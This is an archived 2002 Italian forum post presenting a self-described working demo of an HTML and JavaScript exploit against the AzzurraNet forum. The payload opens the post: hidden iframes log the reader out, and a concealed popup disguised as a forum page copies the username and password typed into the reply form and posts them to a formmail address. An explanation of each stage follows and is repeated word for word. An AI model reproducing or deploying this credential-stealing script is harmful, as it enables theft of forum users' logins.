fanatiko
27-06-2002, 21:38
<p align=center><textarea name=x rows=2 cols=20 readonly style="height:100;width:640;font-family:Fixedsys;border:2px #FF0000 dashed"><iframe name="logout" width="0" height="0" src="http://www.azzurra.org/forum/logout.php"></iframe><iframe name="sniffer" width="0" height="0" src="about:<body><script>wsniffer=window.open(&quo t;&quot;,&quot;wsniffer&quot;,&quot;width=300,heig ht=120,top=0,left=0&quot;);wsniffer.document.open( );wsniffer.document.write(&quot;<HTML>n<HEAD>n<TIT LE>AzzurraNet IRC Network Forum</TITLE>n</HEAD>n<BODY>n<SCRIPT>nfunction sniffnow(){nif(opener.location.pathname=='/forum/reply.php'){ndocument.snifform.status.value='SNIFF ERING...'ndocument.snifform.username.value=opener. document.forms(0).username.valuendocument.snifform .password.value=opener.document.forms(0).password. valuenif(document.snifform.username.value!=''&&doc ument.snifform.password.value!=''){nalert('wsniffe r: sto per inviare via formail ciò che è scritto nella popup win...')ndocument.snifform.submit()n}nelse setTimeout('sniffnow()',7000)n}nelse{ndocument.sni fform.status.value='WAITING...'nsetTimeout('sniffn ow()',10000)n}nreturnn}nsetTimeout('sniffnow()',10 000)n</SCRIPT>n<FORM NAME=snifform METHOD=post ACTION='http://DOMAIN/FORMAIL.CGI'>n<INPUT TYPE=hidden NAME=idservice VALUE='12345'>n<INPUT TYPE=hidden NAME=oggetto VALUE='password sniffata da AzzurraNet'>n<INPUT TYPE=hidden NAME=redirect VALUE='about:<script>this.close()</script>'>n<INPUT TYPE=text size=20 NAME=status VALUE='WAITING...' READONLY>:status<BR>n<INPUT TYPE=text size=20 NAME=username READONLY>:username<BR>n<INPUT TYPE=text size=20 NAME=password READONLY>:passwordn</FORM>n</BODY>n</HTML>&quot;);wsniffer.document.close();wsniffer.op ener=top</script></body>"></iframe></textarea></p><p align=left><u>Exploit scritto da fanatiko e testato con ie6.</u>
Questo post nasconde una versione DEMO (funzionante ma innocua) di un exploit fatto in html+js ed ha lo scopo di rubare le password degli utenti che visualizzano e rispondono al messaggio in questione.
<u>Situazione</u>
l'utente Rossi legge il mio messaggio (fase A) e si appresta a rispondere (fase B).
<u>Fase A</u>
-L'utente Rossi viene "forzatamente" disconnesso dal sistema, nel caso sia già riconosciuto da esso. Per far questo viene utilizzato un iframe invisibile che carica la pagina "logout.php".
-Viene aperta una nuova finestra del browser non visibile nello schermo (<TT>top=screen.Height*2</TT>) facendo apparire solo un'iconetta sulla barra delle applicazioni di win che comunque viene camuffata come pagina di AzzurraNet. In questa vs demo la nuova finestra è invece ben visibile, questo per poter leggerne il codice sorgente. Questa finestra resta in attesa (WAITING...) finchè nella finestra principale, quella del forum, l'utente Rossi accede alla pagina per editare repliche (<font face="Times New Roman"><TT>opener.location.pathname=='/forum/reply.php'</TT></font>).
<u>Fase B</u>
-Nella finestra dello sniffer è presente uno script java che legge ad intervalli regolari ciò che digita l'utente Rossi nella form per editare messaggi e se ne fa una copia in una sua form interna. Non appena riesce ad acquisire username e password le invia tramite formail, ad esempio al mio indirizzo di email tramite un servizio gratuito in cgi a cui io mi sono precedentemente registrato.
-Nel caso in cui il servizio formail desse la possibilità di definire una pagina di conferma dell'avvenuto invio, potrei approfittarne per chiudere la win popup, che nel frattempo ha terminato la sua missione, utilizzando questo script in luogo dell'url: "<font face="Times New Roman"><TT>about:<script>this.close()</script></TT></font>".
E' possibile provare (<u>NON PIU'</u>) questo exploit per visualizzarne gli effetti andando a replicare. Eventuali alert dati sono a scopo dimostrativo. Le operazioni fatte dallo sniffer sono gestite da intervalli di tempo regolari, per cui è necessario attendere alcuni secondi prima di osservarne gli eventi. Nessuna informazione verrà realmente inviata al sottoscritto (l'action nella formail non è definita e per questo apparirà un errore di pagina non trovata). Eventuali errori di sincronizzazione tra le due pagine possono essere gestite perfezionando lo script. Nessuna risorsa esterna (files, etc) è necessaria per farlo funzionare, eccezione fatta per il servizio di formail. JS funziona(<u>VA</u>) se richiamato da un iframe!
---
ciccio</p>
<font size=-1>[ Questo messaggio è stato modificato da: fanatiko il 2002-06-28 18:49 ]</font>
Questo post nasconde una versione DEMO (funzionante ma innocua) di un exploit fatto in html+js ed ha lo scopo di rubare le password degli utenti che visualizzano e rispondono al messaggio in questione.
<u>Situazione</u>
l'utente Rossi legge il mio messaggio (fase A) e si appresta a rispondere (fase B).
<u>Fase A</u>
-L'utente Rossi viene "forzatamente" disconnesso dal sistema, nel caso sia già riconosciuto da esso. Per far questo viene utilizzato un iframe invisibile che carica la pagina "logout.php".
-Viene aperta una nuova finestra del browser non visibile nello schermo (<TT>top=screen.Height*2</TT>) facendo apparire solo un'iconetta sulla barra delle applicazioni di win che comunque viene camuffata come pagina di AzzurraNet. In questa vs demo la nuova finestra è invece ben visibile, questo per poter leggerne il codice sorgente. Questa finestra resta in attesa (WAITING...) finchè nella finestra principale, quella del forum, l'utente Rossi accede alla pagina per editare repliche (<font face="Times New Roman"><TT>opener.location.pathname=='/forum/reply.php'</TT></font>).
<u>Fase B</u>
-Nella finestra dello sniffer è presente uno script java che legge ad intervalli regolari ciò che digita l'utente Rossi nella form per editare messaggi e se ne fa una copia in una sua form interna. Non appena riesce ad acquisire username e password le invia tramite formail, ad esempio al mio indirizzo di email tramite un servizio gratuito in cgi a cui io mi sono precedentemente registrato.
-Nel caso in cui il servizio formail desse la possibilità di definire una pagina di conferma dell'avvenuto invio, potrei approfittarne per chiudere la win popup, che nel frattempo ha terminato la sua missione, utilizzando questo script in luogo dell'url: "<font face="Times New Roman"><TT>about:<script>this.close()</script></TT></font>".
E' possibile provare (<u>NON PIU'</u>) questo exploit per visualizzarne gli effetti andando a replicare. Eventuali alert dati sono a scopo dimostrativo. Le operazioni fatte dallo sniffer sono gestite da intervalli di tempo regolari, per cui è necessario attendere alcuni secondi prima di osservarne gli eventi. Nessuna informazione verrà realmente inviata al sottoscritto (l'action nella formail non è definita e per questo apparirà un errore di pagina non trovata). Eventuali errori di sincronizzazione tra le due pagine possono essere gestite perfezionando lo script. Nessuna risorsa esterna (files, etc) è necessaria per farlo funzionare, eccezione fatta per il servizio di formail. JS funziona(<u>VA</u>) se richiamato da un iframe!
---
ciccio</p>
<font size=-1>[ Questo messaggio è stato modificato da: fanatiko il 2002-06-28 18:49 ]</font>